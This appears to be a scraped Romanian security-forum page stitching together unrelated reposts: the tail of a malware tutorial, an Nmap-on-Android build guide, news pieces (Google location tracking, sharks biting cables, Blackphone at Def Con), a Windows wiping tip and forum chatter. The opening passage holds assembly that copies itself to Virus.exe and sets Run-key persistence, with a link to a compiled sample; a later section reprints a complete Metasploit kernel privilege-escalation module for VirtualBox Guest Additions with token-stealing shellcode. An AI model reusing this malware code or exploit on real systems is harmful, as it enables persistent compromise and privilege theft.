[COLOR=#008080];[/COLOR] getprocaddress MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH EBP retn Also you need to call ExitProcess to prevent crashing, so: TerminateProcess[COLOR=#008080]:[/COLOR] PUSH [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] dwExitCode MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] CALL DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call ExitProcess is necessary. After resolving APIs, calling them is really easy, for example: MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] push [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] bFailIfExists [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR] push [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#000040]%[/COLOR]WINDIR[COLOR=#000040]%[/COLOR]\Virus.[COLOR=#007788]exe[/COLOR] push [COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#008080];[/COLOR] Current EXE path call dword[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CopyFileA Result: Another call: mov ecx, [COLOR=#208080]0xC00ADAC[/COLOR][COLOR=#008080];[/COLOR] location of subkey mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]44[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x0000006e[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]40[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x75525c6e[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]36[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f697372[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]32[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6556746e[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]28[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65727275[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]24[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x435c7377[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]20[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f646e69[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]16[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x575c7466[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]12[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x6f736f72[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]8[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x63694d5c[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x65726177[/COLOR] mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#008000]][/COLOR], [COLOR=#208080]0x74666f53[/COLOR] [COLOR=#008080];[/COLOR]Software\Microsoft\Windows\CurrentVersion\Run push [COLOR=#208080]0xC00ADE0[/COLOR] [COLOR=#008080];[/COLOR] PHKEY phkResult push [COLOR=#208080]0xC00ADAC[/COLOR] [COLOR=#008080];[/COLOR] lpSubkey [COLOR=#000080]=[/COLOR] Software\Microsoft\Windows\CurrentVersion\Run push [COLOR=#208080]0x80000002[/COLOR][COLOR=#008080];[/COLOR] HKEY [COLOR=#000080]=[/COLOR] HKEY_LOCAL_MACHINE mov ecx, [COLOR=#208080]0x0C000000[/COLOR] call dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA8[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegCreateKeyA mov ecx, [COLOR=#208080]0x0C000000[/COLOR] MOV DWORD[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE5[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x69726976[/COLOR] [COLOR=#008080];[/COLOR] viri string, will be used as registry value name MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] Address of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR] string SUB ECX,ECX SUB AL,AL NOT ECX CLD REPNE SCASB NOT ECX DEC ECX [COLOR=#008080];[/COLOR] Length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR], instead of hardcoding, we calculate it dynamically, incase some computers have Windows installed in WINNT or any other name MOV EBX, [COLOR=#208080]0x0C000000[/COLOR] MOV EDI, [COLOR=#208080]0xC00ADEC[/COLOR] PUSH ECX [COLOR=#008080];[/COLOR] DWORD cbData [COLOR=#008000]([/COLOR]length of C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR] PUSH EDI [COLOR=#008080];[/COLOR] LPCVOID lpData [COLOR=#008000]([/COLOR]C[COLOR=#008080]:[/COLOR]\Windows\Virus.[COLOR=#007788]exe[/COLOR][COLOR=#008000])[/COLOR] PUSH [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] DWORD dwTYPE [COLOR=#000080]=[/COLOR] REG_SZ PUSH [COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpValueName [COLOR=#000080]=[/COLOR] viri PUSH [COLOR=#0000dd]0[/COLOR] [COLOR=#008080];[/COLOR] LPCTSTR lpSubKey [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]NULL[/COLOR] [COLOR=#008000]([/COLOR]will use already open key[COLOR=#008000])[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey [COLOR=#000080]=[/COLOR] output of previous RegCreateKeyA call CALL DWORD [COLOR=#008000][[/COLOR]EBX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xAC[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] RegSetKeyValue MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xADE0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] HKEY hKey[COLOR=#008080];[/COLOR] Call DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xB0[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call RegCloseKey Result: Anyway, you can see entire source code here. To compile you need to run two commands: nasm -fwin32 IATLess.asm link /subsystem:windows /entry:start IATLess.obj No .data section: and no IAT entry: PEStudio screenshot: UPDATE: As requested, I uploaded compiled file here. Password: infected Sursa: https://www.codeandsec.com/PoC-Tiny-Malware-Without-IAT-DATA-Or-Resource-Section

Yes, Google Maps is tracking you. Here's how to stop it VentureBeat Google is probably logging your location, step by step, via Google Maps. Want to see what kind of data it has on you? Check out Google’s own location history map, which lets you see the path you’ve traced for any given day that your smartphone has been running Google Maps. In the screenshot above, it shows some of my peregrinations around Paris in June of this year. This location history page has actually been available for several years, since Google first rolled it out as part of Latitude, its now-defunct location-sharing app. Cnet noticed it in December, 2013, TechCrunch picked it up a few days later, and now Junkee.com noticed it last week. We’re highlighting it again because it’s trivially easy to turn off Google Maps location-tracking, if you want to. In fact, I checked the location history page this morning and had difficulty finding any location data at all, because I’ve had location tracking turned off for months, with a few exceptions. To turn off location tracking, just follow these easy steps. How to delete your location history View your location history using Google’s web page. Set a time period to view — up to 30 days at a time. Select the period you want to delete. Click the “Delete history from this time period” link on the left side of this page. If you have multiple Google accounts, check the history for each one. To turn off location tracking in Android Go to the Settings app. Scroll down and tap on the Location section. Tap Google Location Reporting. Switch Location History to “off.” Note: For greater privacy, you can also turn off Location Reporting, but this will keep apps like Google Maps from working properly. How to turn off location tracking in iOS Open the Settings app. Scroll down to Privacy, and select Location Services. Disable all Location Services by setting the top slider to “off” — or scroll down to disable specific apps one by one, such as Google Maps. Take the steps above, and your location history will look something like mine does, below. For more details, check out this LifeHacker article: PSA: Your phone logs everywhere you go. Here’s how to turn it off. Hat tip: John Koetsier. Above: “You have no location history,” Google says — if you’ve refused to let it log your locations. Sursa: Yes, Google Maps is tracking you. Here's how to stop it - Prismatic

Nmap 6.46 on Android August 17, 2014 I’ve just cross compiled Nmap 6.46 on Android since I did not do it for a while. If you just need binary, it’s here: http://ftp.linux.hr/android/nmap/nmap-6.46-android-arm-bin.tar.bz2 If you need details, go here: https://secwiki.org/w/Nmap/Android Building Nmap from source (without SSL) If you want to build it from the source, process is pretty straightforward: git clone https://github.com/kost/nmap-android.git cd nmap-android cp -a android ~/src/nmap-6.46/ cd ~/src/nmap-6.46/android #(adjust paths if needed in Makefile) make doit Building Nmap from source (with OpenSSL) I see many people try to cross compile Nmap with OpenSSL support. Since, I did not specify OpenSSL part of cross compiling, I see there’s lot of complicated ways people do it. For example, like Gorjan Petrovski here: Umit project: Cross-compilation of a static Nmap with OpenSSL for Android In short, compiling of whole Android tree is not necessary. You just need to use same compiler for everything. I’m assuming you have NDK installed and standalone toolchain in PATH. For building zlib, I’m using following snippet: export CCARCH=arm-linux-androideabi CC="${CCARCH}-gcc" ./configure --prefix=/sdcard/opt/zlib-1.2.8 make make install For building OpenSSL, I’m using following snippet: export CCARCH=arm-linux-androideabi ./Configure dist --prefix=/sdcard/opt/openssl-1.0.1i make CC="${CCARCH}-gcc" AR="${CCARCH}-ar r" RANLIB="${CCARCH}-ranlib" LDFLAGS="-static" make install For building Nmap, I’m using following snippet: git clone https://github.com/kost/nmap-android.git cd nmap-android cp -a android ~/src/nmap-6.46/ cd ~/src/nmap-6.46/android #(YOU have to EDIT makefile to adjust NDK and OpenSSL paths) make havendk Note: If you plan to compile OpenSSL support, you need to edit Makefile before issuing make havendk in order to specify OpenSSL path. You should have binaries in place after build. You can strip them and transfer to your Android device. Sursa: Nmap 6.46 on Android | k0st

[h=2]Cybersecurity as Realpolitik[/h] Power exists to be used. Some wish for cyber safety, which they will not get. Others wish for cyber order, which they will not get. Some have the eye to discern cyber policies that are "the least worst thing;" may they fill the vacuum of wishful thinking. Keynote Transcript ... Link: https://www.blackhat.com/us-14/archives.html

CipherShed CipherShed on OSX CipherShed is free (as in free-of-charge and free-speech) encryption software for keeping your data secure and private. It started as a fork of the now-discontinued TrueCrypt Project. Learn more about how CipherShed works and the project behind it. CipherShed is cross-platform; It will be available for Windows, Mac OS and GNU/Linux. The CipherShed project is open-source, meaning the program source code is available for anyone to view. We encourage everyone to examine and audit our code, as well as encourage new ideas and improvements. We have several methods of communication for anyone to ask questions, get support, and become involved in the project. For more detailed information about the project, including contributing code and building from source, please visit our technical wiki. Link: https://ciphershed.org/

[h=1]The Global Internet Is Being Attacked by Sharks, Google Confirms[/h] By Will Oremus Sharks' attraction to undersea fiber-optic cables has been well-documented over the years. Screenshot / YouTube The Internet is a series of tubes ... that are sometimes attacked by sharks. Reports of sharks biting the undersea cables that zip our data around the world date to at least 1987. That’s when the New York Times reported that “sharks have shown an inexplicable taste for the new fiber-optic cables that are being strung along the ocean floor linking the United States, Europe, and Japan.” Now it seems Google is biting back. According to Network World’s Brandon Butler, a Google product manager explained at a recent event that the company has taken to wrapping its trans-Pacific underwater cables in Kevlar to guard against shark bites. Google confirmed to me that its newest generation of undersea cables comes wrapped in special protective yarn and steel wire armor—and that the goal is to protect against cable cuts, including possible shark attacks. Here's an old video of what that looks like, in case you were wondering: To digress for a moment, it’s not clear that the coating Google is using is actually Kevlar, per se. A little searching on Google’s own handy website reveals that the company actually holds a patent of its own for a material called “polyethylene protective yarn.” It makes sense that Google would be investing in better ways to protect transoceanic data cables. Over the years there have been several instances in which damage to undersea lines resulted in widespread disruptions of Internet service. Dependable network infrastructure has become increasingly essential to Google’s business, which relies on ultra-fast transmissions of information between its data centers around the world. On Monday, Google infrastructure czar Urs Holzle announced that the company is helping to build a new trans-Pacific cable system connecting the United States to Japan at speeds of up to 60 Tbps. “That’s about 10 million times faster than your cable modem,” Holzle noted. Google’s partners on the project include China Mobile and SingTel. Why are sharks attracted to undersea data cables? Unclear. Several outlets have pointed out that sharks can sense electromagnetic fields, so perhaps they’re attracted by the current. Alternatively, a shark expert from Cal State-Long Beach suggested to Wired, they may just be curious. Anyone with a dual expertise in chondrichthyan behavior and electrical engineering is warmly invited to offer a more compelling explanation in the comments below. Regardless, it’s clear their powerful bites can cause real problems. Popular Science dredged up a 2009 UN Environmental Program report that includes the following rather convincing background information: Fish, including sharks, have a long history of biting cables as identified from teeth embedded in cable sheathings. Barracuda, shallow- and deep-water sharks and others have been identified as causes of cable failure. Bites tend to penetrate the cable insulation, allowing the power conductor to ground with seawater. Forget Google vs. Apple, Google vs. Amazon, and Google vs. Facebook. My new favorite tech rivalry is Google vs. shark. Sursa: Shark attacks threaten Google's undersea Internet cables. (Video)

Aici postati reclamatii la adresa staff-ului: administratori si moderatori. Nu ca le-am acorda prea multa importanta, dar va veti simti mai bine. Nu mai postati aici plangeri despre tepe. Si sa nu vad plangeri legate de tepe luate de la useri cu mai putin de 50-100 de posturi.

Suntem tot aici

Kewl

Am discutat in trecut cu cineva de la Amazon si azi am primit acest mail. I wanted to let you know that Amazon is coming to Poland and Romania for a recruiting event. Amazon—a place where builders can build. We hire the world's brightest minds and offer them an environment in which they can invent and innovate to improve the experience for our customers. We want employees who will help share and shape our mission to be Earth's most customer-centric company. Amazon's evolution from Web site, to e-commerce partner, to development platform, is driven by the spirit of invention that is part of our DNA. We do this every day by solving complex technical and business problems with ingenuity and simplicity. We're making history, and the good news is that we've only just begun. Sound interesting? I would love for you to send back the questions below along with your most recent resume. · Are you open to relocating to Seattle, UK or Canada with relocation assistance for the right opportunity? Please list order of preference: · Do you have a university degree? What was it in? · Will you currently or in the future need work sponsorship from Amazon? If yes, could you explain what visa you are currently on, and when it will expire? · What is your current compensation (base, bonus, equity) and what would you expect to see in a future offer? · Have you ever interviewed with Amazon.com US or internationally? If yes, when and with which team? · Are you currently an individual contributor or a people manager? If you are a manager, how many direct reports do you currently have? · Are you currently interviewing with other companies? Do you have or are you expecting to have an upcoming offer deadline from another company? Please send me a confirmation email ASAP with your updated resume for review. We value your referrals, please don’t hesitate to share my information with any of your friends/colleagues who may be interested. Daca e cineva interesat sa imi dea CV-ul pe PM.

Mentiune: cryptarea/decryptarea se face pe blocuri de 16 bytes. Adica 128 de biti. Adica e AES pe 128 de biti. (sa inteleaga toata lumea)

VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info={}) super(update_info(info, { 'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation', 'Description' => %q{ A vulnerability within the VBoxGuest driver allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest Additions up to 4.3.10r93012. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC 'Jay Smith <jsmith[at]korelogic.com>' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ] ], 'References' => [ ['CVE', '2014-2477'], ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt'] ], 'DisclosureDate'=> 'Jul 15 2014', 'DefaultTarget' => 0 })) end def fill_memory(proc, address, length, content) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") if not proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil else vprint_good("#{address} is now writable") end result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") end return address end def check if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? return Exploit::CheckCode::Safe end session.railgun.kernel32.CloseHandle(handle) os = sysinfo["OS"] unless (os =~ /windows xp.*service pack 3/i) return Exploit::CheckCode::Safe end file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys" unless file?(file_path) return Exploit::CheckCode::Unknown end major, minor, build, revision, branch = file_version(file_path) vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}") unless (major == 4) return Exploit::CheckCode::Safe end case minor when 0 return Exploit::CheckCode::Vulnerable if build < 26 when 1 return Exploit::CheckCode::Vulnerable if build < 34 when 2 return Exploit::CheckCode::Vulnerable if build < 26 when 3 return Exploit::CheckCode::Vulnerable if build < 12 end return Exploit::CheckCode::Safe end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if sysinfo["Architecture"] =~ /wow64/i fail_with(Failure::NoTarget, "Running against WOW64 is not supported") elsif sysinfo["Architecture"] =~ /x64/ fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device") end print_status("Disclosing the HalDispatchTable address...") hal_dispatch_table = find_haldispatchtable if hal_dispatch_table.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Filed to disclose HalDispatchTable") else print_good("Address successfully disclosed.") end print_status('Getting the hal.dll base address...') hal_info = find_sys_base('hal.dll') fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil? hal_base = hal_info[0] print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}") hali_query_system_information = hal_base + target['HaliQuerySystemInfo'] print_status("Storing the shellcode in memory...") this_proc = session.sys.process.open restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax kernel_shell = token_stealing_shellcode(target) kernel_shell_address = 0x1 buf = "\x90" * 0x6000 buf[0, 56] = "\x50\x00\x00\x00" * 14 buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") session.railgun.ntdll.NtQueryIntervalProfile(2, 4) print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else print_good("Exploitation successful!") end p = payload.encoded print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") if execute_shellcode(p) print_good("Enjoy") else fail_with(Failure::Unknown, "Error while executing the payload") end end end Sursa: VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation - CXSecurity.com

How to securely overwrite deleted files with a built-in Windows tool Ian Paul @ianpau Most Windows users know that when you delete a file on a PC, it isn't truly gone and can still be recovered. In fact, those deleted files are actually just sitting there on your hard drive until they are overwritten with new data. To truly wipe data, users often turn to apps like CCleaner or Eraser that wipe free space for you. But Windows also has a built-in feature called Cipher that will overwrite deleted files for you and may even free up some extra disk space in the process. Commanding Windows To use Cipher we have to dive into an area of your Windows machine that some hassle-free readers may have little experience with: the Command Prompt. Don't worry, though. While the command line can be a scary place, Cipher is a fairly safe feature. That said, it's always best to make sure you have your data backed up before giving something like this a try. Also, make sure you type the command correctly to avoid any unintended consequences. Cipher isn't just a tool to overwrite deleted data it can also be used to encrypt data, which is not what we want in this case. Dump the deletions To get started you have to open a command prompt. To do this in Windows 8.1, hit the Windows key + S and type command prompt into the search box. Wait for the results to show up and then click the command prompt option. In Windows 7, it's easiest to click on Start > Run and then type cmd into the box and press enter. Now for the easy part. If you have a standard Windows installation type or copy and paste the following command: cipher /w:C What this tells Windows to do is to start the Cipher program. The '/w' switch says to remove any data from the available unused disk space, and C tells Windows to carry out this action on the C:\ drive. If your data is on a different drive such as a partition labeled D:\ simply substitute C for the correct drive letter. For most people, however, C will be the right choice. Now, just sit back and wait for Windows to do its magic. This is one of those tasks you should run when you're not using your PC. Consider running it overnight or during downtime on the weekend. Windows will also advise you to close as many running programs as possible to help the machine do a better job of clearing up your hard drive. Not only will cipher clean up your drive, it may also have the added benefit of returning some extra disk space to you. Recently, I let cipher run and got back about 10GB on a four year-old PC. Sursa: How to securely overwrite deleted files with a built-in Windows tool

Blackphone goes to Def Con and gets hacked—sort of Over-the-air hacks of BlackBerry, others fly under radar; tweet on Blackphone hack doesn't. by Sean Gallagher - Aug 12 2014, 10:07pm GTBST When the Blackphone team arrived at Def Con last week, they knew they were stepping into a lion’s den. In fact, that's exactly why they were there. The first generation Blackphone from SGP Technologies has been shipping for just over a month, and the company’s delegation to DefCon—including Silent Circle Chief Technology Officer Jon Callas and newly hired SGP Technologies Chief Security Officer Dan Ford—was looking to both reach a natural customer base and get help with further locking down the device. Ask and you shall receive. Jon “Justin Case” Sawyer, the CTO of Applied Cybersecurity LLC, walked up to the Blackphone table at Def Con and told them he rooted the phone. And those who followed him on Twitter received an abbreviated play-by-play. Further Reading Custom-built with privacy in mind, this handset isn’t for (Google) Play. What followed, however, was not what Sawyer or the Blackphone team counted on: a BlackBerry blogger at N4BB leapt on one of Sawyer’s tweets and wrote a story with the erroneous headline, “Blackphone Rooted Within 5 Minutes.” By the time Sawyer was presenting on Sunday at Def Con with Tim Strazzere, the story had been picked up by a number of blogs and websites—and nearly all of them didn’t bother getting further details from Sawyer or Blackphone. BlackBerry partisans gloated over the hack. But the irony is that three days earlier, researchers from Accuvant showed in a presentation at Black Hat that they could remotely attack BlackBerry phones (as well as some Android and iOS devices) with a femtocell man-in-the-middle attack, getting root without even touching the phone. So the question is whether BlackBerry fans have any room to brag, or whether they're simply safer because they're not as big a target as Android. Rooted in (a lot more than) five minutes Sawyer's Blackphone hack was in many ways already moot by the time he demonstrated it. In part, it relied on an already-patched problem in Blackphone’s remote wipe software, which Sawyer hadn’t downloaded—mostly because he bought the phone at Def Con and didn’t want to do anything over the Wi-Fi at the conference. In a conversation with Ars, Sawyer said that the hack required three vulnerabilities in all—one that is a lower-threat vulnerability to a wide range of Android-based devices and has not yet been fully disclosed. Additionally, he said, the rooting of the Blackphone required that the attacker: have physical access to the phone and connect it to a computer via USB, configure the phone against Blackphone’s set-up recommendations, not install encryption on the device, ignore an unknown application source warning, and have the phone’s PIN code. In other words, to hack the Blackphone, the hacker would have to have either obtained it from a very naïve user or bought the phone himself. Vulnerability or feature? According to the Blackphone team, the first “bug” Sawyer leveraged was in fact not really a vulnerability—he re-enabled the Android Debug Bridge (ADB) to gain developer access to the phone. ADB doesn’t provide root access by itself, but it does give full user access to the device from a USB-connected computer. The interface to ADB is “a standard part of every Android install,” SGP Technologies CEO Toby Weir-Jones said in a phone interview with Ars. ADB had been disabled by default on the Blackphone, he said, because of a bug in its implementation in PrivatOS that resulted in a USB “boot loop” when the phone’s encryption was turned on. “All we had done was remove the ability to call up the developer menu,” Weir-Jones explained. “We hadn’t isolated the bug yet and had to burn a ROM to ship the first phones.” ADB will be turned back on once the bug is fixed, as part of an over-the-air patch. In a blog post, Dan Ford explained SGP’s position on the ADB issue. “Disabling ADB is not a security measure,” he wrote. “And was never meant to be?—?it will be returning in an OTA to Blackphone in the future once the boot bug is resolved; the realities of getting a product manufactured and shipped within the available manufacturing window meant a quick fix was needed. No root or other privilege escalation was required in order for this to be performed." Sawyer disputed that assertion. “I disagree with [Ford’s] statement that enabling USB debugging when they explicitly disabled the ability to do so is not a vuln,” he tweeted. The second vulnerability leveraged in the hack went after Blackphone’s remote wipe functionality. The code that shipped on the Blackphone had been compiled with debugging enabled, which meant that an attacker could leverage the code to elevate his or her system privileges on the phone. SGP had already caught that bug independently, and it sent out a patch as part of an over-the-air update. The last piece of the attack was a previously undisclosed bug. Sawyer described that bug as “really impractical to hit, and very hard, and very low risk” as it requires that the attacker has already elevated permissions to those of a system user to pull off. Part of what kicked up the dust around Sawyer’s hack was the initial interaction he had with the Blackphone team on site. SGP doesn’t have a bug bounty program. So when someone at Blackphone’s table handed Sawyer a t-shirt after he reported his rooting, he refused it, as he had already gotten one with his purchase of the phone. But he did go and modify the one he had. “The shirt was the most impressive part of the hack, considering I had it made in minutes," Sawyer said. When Ford saw the shirt, Sawyer recounted, he laughed. Weir-Jones explained that bug bounties are contrary to the company’s philosophy of “democratic access” to information—aside from the fact that it would be too expensive for the small company. "Usually, bug bounties are run by larger companies, after they've had time to really tighten down code themselves," he explained. To be fair, BlackBerry also doesn’t have a bug bounty program. And Blackphone’s PrivatOS is open source, as are the Silent Circle applications. And as Sawyer said, the Blackphone vulnerabilities were eclipsed in severity by the attacks on the BlackBerry and other phones that were unveiled at Black Hat. “Two mobile Black Hat talks were 1000 times more impressive and scarier than my disclosure,” he posted to Twitter. Beating the baseband One attack, demonstrated at Black Hat by Mathew Solnik and Marc Blanchou, used the embedded over-the-air management interfaces used by wireless carriers to perform carrier-pushed configuration updates. They were able to gain root access to BlackBerry phones, as well as some Android phones and the Sprint configuration of some iOS devices. The devices most vulnerable to the attack were the BlackBerry Z10 and the HTC One M7. The attack takes advantage of the machine-to-machine (M2M) interface used by carriers to do remote provisioning of the phone when it’s purchased and to push out communications updates. The interface is part of the baseband configuration of the phones—it leverages the baseband processor, which is the system-on-chip that handles the connection to cellular networks. On some devices, the baseband chip can access local storage and memory used by the smart phone’s operating system and be used to gain root-level access. Mathew Solnik and Marc Blanchou demonstrate an over-the-air remote code execution and jailbreak of a Sprint iPhone getting remote root. At Def Con, Ars talked with Jon Callas and Dan Ford about the baseband question. Callas said that the baseband processor in the Blackphone, which is made by Nvidia, has no such access to the memory and storage used by PrivatOS. “It’s completely segregated,” Callas said. Blackphone is looking at ways to provide an audit of the phone’s baseband code to assure users that the cellular modem can’t be made into what amounts to a hostile router, “but we assume that it’s a hostile router in the way we developed PrivatOS,” Callas added. It’s clear that there are a number of issues left to be fixed with Blackphone. There’s an app store in the works that will provide a curated set of pre-audited Android applications, and there have been requests from some customers for a physical switch to turn off the phone’s camera and microphone. There have also been complaints about the phone’s LTE support. But for a company of about 100 people just a month into its first product’s lifecycle, SGP has already shown how serious it is about security. Ford said that the Blackphone team turned around the patch to one already-discovered issue and shipped it out as an over-the-air update “in less than 48 hours.” Sursa: Blackphone goes to Def Con and gets hacked—sort of | Ars Technica

